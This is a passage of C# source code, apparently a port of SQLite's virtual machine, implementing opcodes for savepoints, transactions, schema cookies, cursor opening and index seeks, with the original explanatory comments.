inside of the savepoint being operated on. */\n                  while ( db.pSavepoint != pSavepoint )\n                  {\n                    pTmp = db.pSavepoint;\n                    db.pSavepoint = pTmp.pNext;\n                    //sqlite3DbFree( db, pTmp );\n                    db.nSavepoint--;\n                  }\n\n                  /* If it is a RELEASE, then destroy the savepoint being operated on too */\n                  if ( p1 == SAVEPOINT_RELEASE )\n                  {\n                    Debug.Assert( pSavepoint == db.pSavepoint );\n                    db.pSavepoint = pSavepoint.pNext;\n                    //sqlite3DbFree( db, pSavepoint );\n                    if ( 0 == isTransaction )\n                    {\n                      db.nSavepoint--;\n                    }\n                  }\n                }\n              }\n\n              break;\n            }\n\n          /* Opcode: AutoCommit P1 P2 * * *\n          **\n          ** Set the database auto-commit flag to P1 (1 or 0). If P2 is true, roll\n          ** back any currently active btree transactions. If there are any active\n          ** VMs (apart from this one), then the COMMIT or ROLLBACK statement fails.\n          **\n          ** This instruction causes the VM to halt.\n          */\n          case OP_AutoCommit:\n            {\n              int desiredAutoCommit;\n              int iRollback;\n              int turnOnAC;\n\n              desiredAutoCommit = (u8)pOp.p1;\n              iRollback = pOp.p2;\n              turnOnAC = ( desiredAutoCommit != 0 && 0 == db.autoCommit ) ? 1 : 0;\n\n              Debug.Assert( desiredAutoCommit != 0 || 0 == desiredAutoCommit );\n              Debug.Assert( desiredAutoCommit != 0 || 0 == iRollback );\n\n              Debug.Assert( db.activeVdbeCnt > 0 );  /* At least this one VM is active */\n\n              if ( turnOnAC != 0 && iRollback != 0 && db.activeVdbeCnt > 1 )\n              {\n                /* If this instruction implements a ROLLBACK and other VMs are\n                ** still running, and a transaction is active, return an error indicating\n                ** that the other VMs must complete first.\n                */\n                sqlite3SetString( ref p.zErrMsg, db, \"cannot rollback transaction - \" +\n                \"SQL statements in progress\" );\n                rc = SQLITE_BUSY;\n              }\n              else if ( turnOnAC != 0 && 0 == iRollback && db.writeVdbeCnt > 0 )\n              {\n                /* If this instruction implements a COMMIT and other VMs are writing\n                ** return an error indicating that the other VMs must complete first.\n                */\n                sqlite3SetString( ref p.zErrMsg, db, \"cannot commit transaction - \" +\n                \"SQL statements in progress\" );\n                rc = SQLITE_BUSY;\n              }\n              else if ( desiredAutoCommit != db.autoCommit )\n              {\n                if ( iRollback != 0 )\n                {\n                  Debug.Assert( desiredAutoCommit != 0 );\n                  sqlite3RollbackAll( db );\n                  db.autoCommit = 1;\n                }\n                else\n                {\n                  db.autoCommit = (u8)desiredAutoCommit;\n                  if ( sqlite3VdbeHalt( p ) == SQLITE_BUSY )\n                  {\n                    p.pc = pc;\n                    db.autoCommit = (u8)( desiredAutoCommit == 0 ? 1 : 0 );\n                    p.rc = rc = SQLITE_BUSY;\n                    goto vdbe_return;\n                  }\n                }\n                Debug.Assert( db.nStatement == 0 );\n                sqlite3CloseSavepoints( db );\n                if ( p.rc == SQLITE_OK )\n                {\n                  rc = SQLITE_DONE;\n                }\n                else\n                {\n                  rc = SQLITE_ERROR;\n                }\n                goto vdbe_return;\n              }\n              else\n              {\n                sqlite3SetString( ref p.zErrMsg, db,\n                ( 0 == desiredAutoCommit ) ? \"cannot start a transaction within a transaction\" : (\n                ( iRollback != 0 ) ? \"cannot rollback - no transaction is active\" :\n                \"cannot commit - no transaction is active\" ) );\n                rc = SQLITE_ERROR;\n              }\n              break;\n            }\n\n          /* Opcode: Transaction P1 P2 * * *\n          **\n          ** Begin a transaction.  The transaction ends when a Commit or Rollback\n          ** opcode is encountered.  Depending on the ON CONFLICT setting, the\n          ** transaction might also be rolled back if an error is encountered.\n          **\n          ** P1 is the index of the database file on which the transaction is\n          ** started.  Index 0 is the main database file and index 1 is the\n          ** file used for temporary tables.  Indices of 2 or more are used for\n          ** attached databases.\n          **\n          ** If P2 is non-zero, then a write-transaction is started.  A RESERVED lock is\n          ** obtained on the database file when a write-transaction is started.  No\n          ** other process can start another write transaction while this transaction is\n          ** underway.  Starting a write transaction also creates a rollback journal. A\n          ** write transaction must be started before any changes can be made to the\n          ** database.  If P2 is 2 or greater then an EXCLUSIVE lock is also obtained\n          ** on the file.\n          **\n          ** If P2 is zero, then a read-lock is obtained on the database file.\n          */\n          case OP_Transaction:\n            {\n              Btree pBt;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < db.nDb );\n              Debug.Assert( ( p.btreeMask & ( 1 << pOp.p1 ) ) != 0 );\n              pBt = db.aDb[pOp.p1].pBt;\n\n              if ( pBt != null )\n              {\n                rc = sqlite3BtreeBeginTrans( pBt, pOp.p2 );\n                if ( rc == SQLITE_BUSY )\n                {\n                  p.pc = pc;\n                  p.rc = rc = SQLITE_BUSY;\n                  goto vdbe_return;\n                }\n                if ( rc != SQLITE_OK && rc != SQLITE_READONLY /* && rc!=SQLITE_BUSY */ )\n                {\n                  goto abort_due_to_error;\n                }\n              }\n              break;\n            }\n\n          /* Opcode: ReadCookie P1 P2 P3 * *\n          **\n          ** Read cookie number P3 from database P1 and write it into register P2.\n          ** P3==1 is the schema version.  P3==2 is the database format.\n          ** P3==3 is the recommended pager cache size, and so forth.  P1==0 is\n          ** the main database file and P1==1 is the database file used to store\n          ** temporary tables.\n          **\n          ** There must be a read-lock on the database (either a transaction\n          ** must be started or there must be an open cursor) before\n          ** executing this instruction.\n          */\n          case OP_ReadCookie:\n            {               /* out2-prerelease */\n              u32 iMeta;\n              int iDb;\n              int iCookie;\n\n              iMeta = 0;\n              iDb = pOp.p1;\n              iCookie = pOp.p3;\n\n              Debug.Assert( pOp.p3 < SQLITE_N_BTREE_META );\n              Debug.Assert( iDb >= 0 && iDb < db.nDb );\n              Debug.Assert( db.aDb[iDb].pBt != null );\n              Debug.Assert( ( p.btreeMask & ( 1 << iDb ) ) != 0 );\n              sqlite3BtreeGetMeta( db.aDb[iDb].pBt, iCookie, ref iMeta );\n              pOut.u.i = (int)iMeta;\n              MemSetTypeFlag( pOut, MEM_Int );\n              break;\n            }\n\n          /* Opcode: SetCookie P1 P2 P3 * *\n          **\n          ** Write the content of register P3 (interpreted as an integer)\n          ** into cookie number P2 of database P1.  P2==1 is the schema version.\n          ** P2==2 is the database format. P2==3 is the recommended pager cache\n          ** size, and so forth.  P1==0 is the main database file and P1==1 is the\n          ** database file used to store temporary tables.\n          **\n          ** A transaction must be started before executing this opcode.\n          */\n          case OP_SetCookie:\n            {       /* in3 */\n              Db pDb;\n              Debug.Assert( pOp.p2 < SQLITE_N_BTREE_META );\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < db.nDb );\n              Debug.Assert( ( p.btreeMask & ( 1 << pOp.p1 ) ) != 0 );\n              pDb = db.aDb[pOp.p1];\n              Debug.Assert( pDb.pBt != null );\n              sqlite3VdbeMemIntegerify( pIn3 );\n              /* See note about index shifting on OP_ReadCookie */\n              rc = sqlite3BtreeUpdateMeta( pDb.pBt, pOp.p2, (u32)pIn3.u.i );\n              if ( pOp.p2 == BTREE_SCHEMA_VERSION )\n              {\n                /* When the schema cookie changes, record the new cookie internally */\n                pDb.pSchema.schema_cookie = (int)pIn3.u.i;\n                db.flags |= SQLITE_InternChanges;\n              }\n              else if ( pOp.p2 == BTREE_FILE_FORMAT )\n              {\n                /* Record changes in the file format */\n                pDb.pSchema.file_format = (u8)pIn3.u.i;\n              }\n              if ( pOp.p1 == 1 )\n              {\n                /* Invalidate all prepared statements whenever the TEMP database\n                ** schema is changed.  Ticket #1644 */\n                sqlite3ExpirePreparedStatements( db );\n              }\n              break;\n            }\n\n          /* Opcode: VerifyCookie P1 P2 *\n          **\n          ** Check the value of global database parameter number 0 (the\n          ** schema version) and make sure it is equal to P2.\n          ** P1 is the database number which is 0 for the main database file\n          ** and 1 for the file holding temporary tables and some higher number\n          ** for auxiliary databases.\n          **\n          ** The cookie changes its value whenever the database schema changes.\n          ** This operation is used to detect when that the cookie has changed\n          ** and that the current process needs to reread the schema.\n          **\n          ** Either a transaction needs to have been started or an OP_Open needs\n          ** to be executed (to establish a read lock) before this opcode is\n          ** invoked.\n          */\n          case OP_VerifyCookie:\n            {\n              u32 iMeta = 0;\n              Btree pBt;\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < db.nDb );\n              Debug.Assert( ( p.btreeMask & ( 1 << pOp.p1 ) ) != 0 );\n              pBt = db.aDb[pOp.p1].pBt;\n              if ( pBt != null )\n              {\n                sqlite3BtreeGetMeta( pBt, BTREE_SCHEMA_VERSION, ref iMeta );\n              }\n              else\n              {\n                iMeta = 0;\n              }\n              if ( iMeta != pOp.p2 )\n              {\n                //sqlite3DbFree(db,ref p.zErrMsg);\n                p.zErrMsg = \"database schema has changed\";// sqlite3DbStrDup(db, \"database schema has changed\");\n                /* If the schema-cookie from the database file matches the cookie\n                ** stored with the in-memory representation of the schema, do\n                ** not reload the schema from the database file.\n                **\n                ** If virtual-tables are in use, this is not just an optimization.\n                ** Often, v-tables store their data in other SQLite tables, which\n                ** are queried from within xNext() and other v-table methods using\n                ** prepared queries. If such a query is out-of-date, we do not want to\n                ** discard the database schema, as the user code implementing the\n                ** v-table would have to be ready for the sqlite3_vtab structure itself\n                ** to be invalidated whenever sqlite3_step() is called from within\n                ** a v-table method.\n                */\n                if ( db.aDb[pOp.p1].pSchema.schema_cookie != iMeta )\n                {\n                  sqlite3ResetInternalSchema( db, pOp.p1 );\n                }\n\n                sqlite3ExpirePreparedStatements( db );\n                rc = SQLITE_SCHEMA;\n              }\n              break;\n            }\n\n          /* Opcode: OpenRead P1 P2 P3 P4 P5\n          **\n          ** Open a read-only cursor for the database table whose root page is\n          ** P2 in a database file.  The database file is determined by P3.\n          ** P3==0 means the main database, P3==1 means the database used for\n          ** temporary tables, and P3>1 means used the corresponding attached\n          ** database.  Give the new cursor an identifier of P1.  The P1\n          ** values need not be contiguous but all P1 values should be small integers.\n          ** It is an error for P1 to be negative.\n          **\n          ** If P5!=0 then use the content of register P2 as the root page, not\n          ** the value of P2 itself.\n          **\n          ** There will be a read lock on the database whenever there is an\n          ** open cursor.  If the database was unlocked prior to this instruction\n          ** then a read lock is acquired as part of this instruction.  A read\n          ** lock allows other processes to read the database but prohibits\n          ** any other process from modifying the database.  The read lock is\n          ** released when all cursors are closed.  If this instruction attempts\n          ** to get a read lock but fails, the script terminates with an\n          ** SQLITE_BUSY error code.\n          **\n          ** The P4 value may be either an integer (P4_INT32) or a pointer to\n          ** a KeyInfo structure (P4_KEYINFO). If it is a pointer to a KeyInfo\n          ** structure, then said structure defines the content and collating\n          ** sequence of the index being opened. Otherwise, if P4 is an integer\n          ** value, it is set to the number of columns in the table.\n          **\n          ** See also OpenWrite.\n          */\n          /* Opcode: OpenWrite P1 P2 P3 P4 P5\n          **\n          ** Open a read/write cursor named P1 on the table or index whose root\n          ** page is P2.  Or if P5!=0 use the content of register P2 to find the\n          ** root page.\n          **\n          ** The P4 value may be either an integer (P4_INT32) or a pointer to\n          ** a KeyInfo structure (P4_KEYINFO). If it is a pointer to a KeyInfo\n          ** structure, then said structure defines the content and collating\n          ** sequence of the index being opened. Otherwise, if P4 is an integer\n          ** value, it is set to the number of columns in the table, or to the\n          ** largest index of any column of the table that is actually used.\n          **\n          ** This instruction works just like OpenRead except that it opens the cursor\n          ** in read/write mode.  For a given table, there can be one or more read-only\n          ** cursors or a single read/write cursor but not both.\n          **\n          ** See also OpenRead.\n          */\n          case OP_OpenRead:\n          case OP_OpenWrite:\n            {\n              int nField;\n              KeyInfo pKeyInfo;\n              int p2;\n              int iDb;\n              int wrFlag;\n              Btree pX;\n              VdbeCursor pCur;\n              Db pDb;\n\n              nField = 0;\n              pKeyInfo = null;\n              p2 = pOp.p2;\n              iDb = pOp.p3;\n              Debug.Assert( iDb >= 0 && iDb < db.nDb );\n              Debug.Assert( ( p.btreeMask & ( 1 << iDb ) ) != 0 );\n              pDb = db.aDb[iDb];\n              pX = pDb.pBt;\n              Debug.Assert( pX != null );\n              if ( pOp.opcode == OP_OpenWrite )\n              {\n                wrFlag = 1;\n                if ( pDb.pSchema.file_format < p.minWriteFileFormat )\n                {\n                  p.minWriteFileFormat = pDb.pSchema.file_format;\n                }\n              }\n              else\n              {\n                wrFlag = 0;\n              }\n              if ( pOp.p5 != 0 )\n              {\n                Debug.Assert( p2 > 0 );\n                Debug.Assert( p2 <= p.nMem );\n                pIn2 = p.aMem[p2];\n                sqlite3VdbeMemIntegerify( pIn2 );\n                p2 = (int)pIn2.u.i;\n                /* The p2 value always comes from a prior OP_CreateTable opcode and\n                ** that opcode will always set the p2 value to 2 or more or else fail.\n                ** If there were a failure, the prepared statement would have halted\n                ** before reaching this instruction. */\n                if ( NEVER( p2 < 2 ) )\n                {\n#if SQLITE_DEBUG\n                  rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n                  goto abort_due_to_error;\n                }\n              }\n              if ( pOp.p4type == P4_KEYINFO )\n              {\n                pKeyInfo = pOp.p4.pKeyInfo;\n                pKeyInfo.enc = ENC( p.db );\n                nField = pKeyInfo.nField + 1;\n              }\n              else if ( pOp.p4type == P4_INT32 )\n              {\n                nField = pOp.p4.i;\n              }\n              Debug.Assert( pOp.p1 >= 0 );\n              pCur = allocateCursor( p, pOp.p1, nField, iDb, 1 );\n              if ( pCur == null ) goto no_mem;\n              pCur.nullRow = true;\n              rc = sqlite3BtreeCursor( pX, p2, wrFlag, pKeyInfo, pCur.pCursor );\n              pCur.pKeyInfo = pKeyInfo;\n              /* Since it performs no memory allocation or IO, the only values that\n              ** sqlite3BtreeCursor() may return are SQLITE_EMPTY and SQLITE_OK. \n              ** SQLITE_EMPTY is only returned when attempting to open the table\n              ** rooted at page 1 of a zero-byte database.  */\n              Debug.Assert( rc==SQLITE_EMPTY || rc==SQLITE_OK );\n              if ( rc == SQLITE_EMPTY )\n              {\n                pCur.pCursor = null;\n                rc = SQLITE_OK;\n              }\n              /* Set the VdbeCursor.isTable and isIndex variables. Previous versions of\n              ** SQLite used to check if the root-page flags were sane at this point\n              ** and report database corruption if they were not, but this check has\n              ** since moved into the btree layer.  */\n                    pCur.isTable = pOp.p4type != P4_KEYINFO;\n                    pCur.isIndex = !pCur.isTable;\n              break;\n            }\n\n          /* Opcode: OpenEphemeral P1 P2 * P4 *\n          **\n          ** Open a new cursor P1 to a transient table.\n          ** The cursor is always opened read/write even if\n          ** the main database is read-only.  The transient or virtual\n          ** table is deleted automatically when the cursor is closed.\n          **\n          ** P2 is the number of columns in the virtual table.\n          ** The cursor points to a BTree table if P4==0 and to a BTree index\n          ** if P4 is not 0.  If P4 is not NULL, it points to a KeyInfo structure\n          ** that defines the format of keys in the index.\n          **\n          ** This opcode was once called OpenTemp.  But that created\n          ** confusion because the term \"temp table\", might refer either\n          ** to a TEMP table at the SQL level, or to a table opened by\n          ** this opcode.  Then this opcode was call OpenVirtual.  But\n          ** that created confusion with the whole virtual-table idea.\n          */\n          case OP_OpenEphemeral:\n            {\n              VdbeCursor pCx;\n              const int openFlags =\n              SQLITE_OPEN_READWRITE |\n              SQLITE_OPEN_CREATE |\n              SQLITE_OPEN_EXCLUSIVE |\n              SQLITE_OPEN_DELETEONCLOSE |\n              SQLITE_OPEN_TRANSIENT_DB;\n\n              Debug.Assert( pOp.p1 >= 0 );\n              pCx = allocateCursor( p, pOp.p1, pOp.p2, -1, 1 );\n              if ( pCx == null ) goto no_mem;\n              pCx.nullRow = true;\n              rc = sqlite3BtreeFactory( db, null, true, SQLITE_DEFAULT_TEMP_CACHE_SIZE, openFlags,\n              ref pCx.pBt );\n              if ( rc == SQLITE_OK )\n              {\n                rc = sqlite3BtreeBeginTrans( pCx.pBt, 1 );\n              }\n              if ( rc == SQLITE_OK )\n              {\n                /* If a transient index is required, create it by calling\n                ** sqlite3BtreeCreateTable() with the BTREE_ZERODATA flag before\n                ** opening it. If a transient table is required, just use the\n                ** automatically created table with root-page 1 (an INTKEY table).\n                */\n                if ( pOp.p4.pKeyInfo != null )\n                {\n                  int pgno = 0;\n                  Debug.Assert( pOp.p4type == P4_KEYINFO );\n                  rc = sqlite3BtreeCreateTable( pCx.pBt, ref pgno, BTREE_ZERODATA );\n                  if ( rc == SQLITE_OK )\n                  {\n                    Debug.Assert( pgno == MASTER_ROOT + 1 );\n                    rc = sqlite3BtreeCursor( pCx.pBt, pgno, 1,\n                    pOp.p4.pKeyInfo, pCx.pCursor );\n                    pCx.pKeyInfo = pOp.p4.pKeyInfo;\n                    pCx.pKeyInfo.enc = ENC( p.db );\n                  }\n                  pCx.isTable = false;\n                }\n                else\n                {\n                  rc = sqlite3BtreeCursor( pCx.pBt, MASTER_ROOT, 1, null, pCx.pCursor );\n                  pCx.isTable = true;\n                }\n              }\n              pCx.isIndex = !pCx.isTable;\n              break;\n            }\n\n          /* Opcode: OpenPseudo P1 P2 P3 * *\n          **\n          ** Open a new cursor that points to a fake table that contains a single\n          ** row of data.  Any attempt to write a second row of data causes the\n          ** first row to be deleted.  All data is deleted when the cursor is\n          ** closed.\n          **\n          ** A pseudo-table created by this opcode is useful for holding the\n          ** NEW or OLD tables in a trigger.  Also used to hold the a single\n          ** row output from the sorter so that the row can be decomposed into\n          ** individual columns using the OP_Column opcode.\n          **\n          ** When OP_Insert is executed to insert a row in to the pseudo table,\n          ** the pseudo-table cursor may or may not make it's own copy of the\n          ** original row data. If P2 is 0, then the pseudo-table will copy the\n          ** original row data. Otherwise, a pointer to the original memory cell\n          ** is stored. In this case, the vdbe program must ensure that the\n          ** memory cell containing the row data is not overwritten until the\n          ** pseudo table is closed (or a new row is inserted into it).\n          **\n          ** P3 is the number of fields in the records that will be stored by\n          ** the pseudo-table.\n          */\n          case OP_OpenPseudo:\n            {\n              VdbeCursor pCx;\n              Debug.Assert( pOp.p1 >= 0 );\n              pCx = allocateCursor( p, pOp.p1, pOp.p3, -1, 0 );\n              if ( pCx == null ) goto no_mem;\n              pCx.nullRow = true;\n              pCx.pseudoTable = true;\n              pCx.ephemPseudoTable = pOp.p2 != 0 ? true : false;\n              pCx.isTable = true;\n              pCx.isIndex = false;\n              break;\n            }\n\n          /* Opcode: Close P1 * * * *\n          **\n          ** Close a cursor previously opened as P1.  If P1 is not\n          ** currently open, this instruction is a no-op.\n          */\n          case OP_Close:\n            {\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              sqlite3VdbeFreeCursor( p, p.apCsr[pOp.p1] );\n              p.apCsr[pOp.p1] = null;\n              break;\n            }\n\n          /* Opcode: SeekGe P1 P2 P3 P4 *\n          **\n          ** If cursor P1 refers to an SQL table (B-Tree that uses integer keys),\n          ** use the value in register P3 as the key.  If cursor P1 refers\n          ** to an SQL index, then P3 is the first in an array of P4 registers\n          ** that are used as an unpacked index key.\n          **\n          ** Reposition cursor P1 so that  it points to the smallest entry that\n          ** is greater than or equal to the key value. If there are no records\n          ** greater than or equal to the key and P2 is not zero, then jump to P2.\n          **\n          ** See also: Found, NotFound, Distinct, SeekLt, SeekGt, SeekLe\n          */\n          /* Opcode: SeekGt P1 P2 P3 P4 *\n          **\n          ** If cursor P1 refers to an SQL table (B-Tree that uses integer keys),\n          ** use the value in register P3 as a key. If cursor P1 refers\n          ** to an SQL index, then P3 is the first in an array of P4 registers\n          ** that are used as an unpacked index key.\n          **\n          ** Reposition cursor P1 so that  it points to the smallest entry that\n          ** is greater than the key value. If there are no records greater than\n          ** the key and P2 is not zero, then jump to P2.\n          **\n          ** See also: Found, NotFound, Distinct, SeekLt, SeekGe, SeekLe\n          */\n          /* Opcode: SeekLt P1 P2 P3 P4 *\n          **\n          ** If cursor P1 refers to an SQL table (B-Tree that uses integer keys),\n          ** use the value in register P3 as a key. If cursor P1 refers\n          ** to an SQL index, then P3 is the first in an array of P4 registers\n          ** that are used as an unpacked index key.\n          **\n          ** Reposition cursor P1 so that  it points to the largest entry that\n          ** is less than the key value. If there are no records less than\n          ** the key and P2 is not zero, then jump to P2.\n          **\n          ** See also: Found, NotFound, Distinct, SeekGt, SeekGe, SeekLe\n          */\n          /* Opcode: SeekLe P1 P2 P3 P4 *\n          **\n          ** If cursor P1 refers to an SQL table (B-Tree that uses integer keys),\n          ** use the value in register P3 as a key. If cursor P1 refers\n          ** to an SQL index, then P3 is the first in an array of P4 registers\n          ** that are used as an unpacked index key.\n          **\n          ** Reposition cursor P1 so that it points to the largest entry that\n          ** is less than or equal to the key value. If there are no records\n          ** less than or equal to the key and P2 is not zero, then jump to P2.\n          **\n          ** See also: Found, NotFound, Distinct, SeekGt, SeekGe, SeekLt\n          */\n          case OP_SeekLt:         /* jump, in3 */\n          case OP_SeekLe:         /* jump, in3 */\n          case OP_SeekGe:         /* jump, in3 */\n          case OP_SeekGt:\n            {       /* jump, in3 */\n              int res;\n              int oc;\n              VdbeCursor pC;\n              UnpackedRecord r;\n              int nField;\n              i64 iKey;      /* The rowid we are to seek to */\n\n              res = 0;\n              r = new UnpackedRecord();\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              Debug.Assert( pOp.p2 != 0 );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              if ( pC.pCursor != null )\n              {\n                oc = pOp.opcode;\n                pC.nullRow = false;\n                if ( pC.isTable )\n                {\n                  /* The input value in P3 might be of any type: integer, real, string,\n                  ** blob, or NULL.  But it needs to be an integer before we can do\n                  ** the seek, so covert it. */\n                  applyNumericAffinity( pIn3 );\n                  iKey = sqlite3VdbeIntValue( pIn3 );\n                  pC.rowidIsValid = false;\n\n                  /* If the P3 value could not be converted into an integer without\n                  ** loss of information, then special processing is required... */\n                  if ( ( pIn3.flags & MEM_Int ) == 0 )\n                  {\n                    if ( ( pIn3.flags & MEM_Real ) == 0 )\n                    {\n                      /* If the P3 value cannot be converted into any kind of a number,\n                      ** then the seek is not possible, so jump to P2 */\n                      pc = pOp.p2 - 1;\n                      break;\n                    }\n                    /* If we reach this point, then the P3 value must be a floating\n                    ** point number. */\n                    Debug.Assert( ( pIn3.flags & MEM_Real ) != 0 );\n\n                    if ( iKey == SMALLEST_INT64 && ( pIn3.r < (double)iKey || pIn3.r > 0 ) )\n                    {\n                      /* The P3 value is too large in magnitude to be expressed as an\n                      ** integer. */\n                      res = 1;\n                      if ( pIn3.r < 0 )\n                      {\n                        if ( oc == OP_SeekGt || oc == OP_SeekGe )\n                        {\n                          rc = sqlite3BtreeFirst( pC.pCursor, ref res );\n                          if ( rc != SQLITE_OK ) goto abort_due_to_error;\n                        }\n                      }\n                      else\n                      {\n                        if ( oc == OP_SeekLt || oc == OP_SeekLe )\n                        {\n                          rc = sqlite3BtreeLast( pC.pCursor, ref res );\n                          if ( rc != SQLITE_OK ) goto abort_due_to_error;\n                        }\n                      }\n                      if ( res != 0 )\n                      {\n                        pc = pOp.p2 - 1;\n                      }\n                      break;\n                    }\n                    else if ( oc == OP_SeekLt || oc == OP_SeekGe )\n                    {\n                      /* Use the ceiling() function to convert real->int */\n                      if ( pIn3.r > (double)iKey ) iKey++;\n                    }\n                    else\n                    {\n                      /* Use the floor() function to convert real->int */\n                      Debug.Assert( oc == OP_SeekLe || oc == OP_SeekGt );\n                      if ( pIn3.r < (double)iKey ) iKey--;\n                    }\n                  }\n                  rc = sqlite3BtreeMovetoUnpacked( pC.pCursor, null, iKey, 0, ref res );\n                  if ( rc != SQLITE_OK )\n                  {\n                    goto abort_due_to_error;\n                  }\n                  if ( res == 0 )\n                  {\n                    pC.rowidIsValid = true;\n                    pC.lastRowid = iKey;\n                  }\n                }\n                else\n                {\n                  nField = pOp.p4.i;\n                  Debug.Assert( pOp.p4type == P4_INT32 );\n                  Debug.Assert( nField > 0 );\n                  r.pKeyInfo = pC.pKeyInfo;\n                  r.nField = (u16)nField;\n                  if ( oc == OP_SeekGt || oc == OP_SeekLe )\n                  {\n                    r.flags = UNPACKED_INCRKEY;\n                  }\n                  else\n                  {\n                    r.flags = 0;\n                  }\n                  r.aMem = new Mem[r.nField];\n                  for ( int rI = 0 ; rI < r.nField ; rI++ ) r.aMem[rI] = p.aMem[pOp.p3 + rI];// r.aMem = p.aMem[pOp.p3];\n                  rc = sqlite3BtreeMovetoUnpacked( pC.pCursor, r, 0, 0, ref res );\n                  if ( rc != SQLITE_OK )\n                  {\n                    goto abort_due_to_error;\n                  }\n                  pC.rowidIsValid = false;\n                }\n                pC.deferredMoveto = false;\n                pC.cacheStatus = CACHE_STALE;\n#if SQLITE_TEST\n                sqlite3_search_count.iValue++;\n#endif\n                if ( oc == OP_SeekGe || oc == OP_SeekGt )\n                {\n                  if ( res < 0 || ( res == 0 && oc == OP_SeekGt ) )\n                  {\n                    rc = sqlite3BtreeNext( pC.pCursor, ref res );\n                    if ( rc != SQLITE_OK ) goto abort_due_to_error;\n                    pC.rowidIsValid = false;\n                  }\n                  else\n                  {\n                    res = 0;\n                  }\n                }\n                else\n                {\n                  Debug.Assert( oc == OP_SeekLt || oc == OP_SeekLe );\n                  if ( res > 0 || ( res == 0 && oc == OP_SeekLt ) )\n                  {\n                    rc = sqlite3BtreePrevious( pC.pCursor, ref res );\n                    if ( rc != SQLITE_OK ) goto abort_due_to_error;\n                    pC.rowidIsValid = false;\n                  }\n                  else\n                  {\n                    /* res might be negative because the table is empty.  Check to\n                    ** see if this is the case.\n                    */\n                    res = sqlite3BtreeEof( pC.pCursor ) ? 1 : 0;\n                  }\n                }\n                Debug.Assert( pOp.p2 > 0 );\n                if ( res != 0 )\n                {\n                  pc = pOp.p2 - 1;\n                }\n              }\n              else\n              {\n                /* This happens when attempting to open the sqlite3_master table\n                ** for read access returns SQLITE_EMPTY. In this case always\n                ** take the jump (since there are no records in the table).\n                */\n                Debug.Assert( pC.pseudoTable == false );\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: Seek P1 P2 * * *\n          **\n          ** P1 is an open table cursor and P2 is a rowid integer.  Arrange\n          ** for P1 to move so that it points to the rowid given by P2.\n          **\n          ** This is actually a deferred seek.  Nothing actually happens until\n          ** the cursor is used to read a record.  That way, if no reads\n          ** occur, no unnecessary I/O happens.\n          */\n          case OP_Seek:\n            {    /* in2 */\n              VdbeCursor pC;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( ALWAYS( pC != null ) );\n              if ( pC.pCursor != null )\n              {\n                Debug.Assert( pC.isTable );\n                pC.nullRow = false;\n                pC.movetoTarget = sqlite3VdbeIntValue( pIn2 );\n                pC.rowidIsValid = false;\n                pC.deferredMoveto = true;\n              }\n              break;\n            }\n\n          /* Opcode: Found P1 P2 P3 * *\n          **\n          ** Register P3 holds a blob constructed by MakeRecord.  P1 is an index.\n          ** If an entry that matches the value in register p3 exists in P1 then\n          ** jump to P2.  If the P3 value does not match any entry in P1\n          ** then fall thru.  The P1 cursor is left pointing at the matching entry\n          ** if it exists.\n          **\n          ** This instruction is used to implement the IN operator where the\n          ** left-hand side is a SELECT statement.  P1 may be a true index, or it\n          ** may be a temporary index that holds the results of the SELECT\n          ** statement.   This instruction is also used to implement the\n          ** DISTINCT keyword in SELECT statements.\n          **\n          ** This instruction checks if index P1 contains a record for which\n          ** the first N serialized values exactly match the N serialised values\n          ** in the record in register P3, where N is the total number of values in\n          ** the P3 record (the P3 record is a prefix of the P1 record).\n          **\n          ** See also: NotFound, IsUnique, NotExists\n          */\n          /* Opcode: NotFound P1 P2 P3 * *\n          **\n          ** Register P3 holds a blob constructed by MakeRecord.  P1 is\n          ** an index.  If no entry exists in P1 that matches the blob then jump\n          ** to P2.  If an entry does existing, fall through.  The cursor is left\n          ** pointing to the entry that matches.\n          **\n          ** See also: Found, NotExists, IsUnique\n          */\n          case OP_NotFound:       /* jump, in3 */\n          case OP_Found:\n            {        /* jump, in3 */\n              int alreadyExists;\n              VdbeCursor pC;\n              int res;\n              UnpackedRecord pIdxKey;\n              UnpackedRecord aTempRec = new UnpackedRecord();//char aTempRec[ROUND8(sizeof(UnpackedRecord)) + sizeof(Mem)*3 + 7];\n\n              res = 0;\n\n              alreadyExists = 0;\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              if ( ALWAYS( pC.pCursor != null ) )\n              {\n\n                Debug.Assert( !pC.isTable );\n                Debug.Assert( ( pIn3.flags & MEM_Blob ) != 0 );\n                ExpandBlob( pIn3 );\n                pIdxKey = sqlite3VdbeRecordUnpack( pC.pKeyInfo, pIn3.n, pIn3.zBLOB,\n                   aTempRec, 0 );//sizeof( aTempRec ) );\n                if ( pIdxKey == null )\n                {\n                  goto no_mem;\n                }\n                if ( pOp.opcode == OP_Found )\n                {\n                  pIdxKey.flags |= UNPACKED_PREFIX_MATCH;\n                }\n                rc = sqlite3BtreeMovetoUnpacked( pC.pCursor, pIdxKey, 0, 0, ref res );\n                sqlite3VdbeDeleteUnpackedRecord( pIdxKey );\n                if ( rc != SQLITE_OK )\n                {\n                  break;\n                }\n                alreadyExists = ( res == 0 ) ? 1 : 0;\n                pC.deferredMoveto = false;\n                pC.cacheStatus = CACHE_STALE;\n              }\n              if ( pOp.opcode == OP_Found )\n              {\n                if ( alreadyExists != 0 ) pc = pOp.p2 - 1;\n              }\n              else\n              {\n                if ( 0 == alreadyExists ) pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: IsUnique P1 P2 P3 P4 *\n          **\n          ** Cursor P1 is open on an index.  So it has no data and its key consists\n          ** of a record generated by OP_MakeRecord where the last field is the\n          ** rowid of the entry that the index refers to.\n          **\n          ** The P3 register contains an integer record number. Call this record\n          ** number R. Register P4 is the first in a set of N contiguous registers\n          ** that make up an unpacked index key that can be used with cursor P1.\n          ** The value of N can be inferred from the 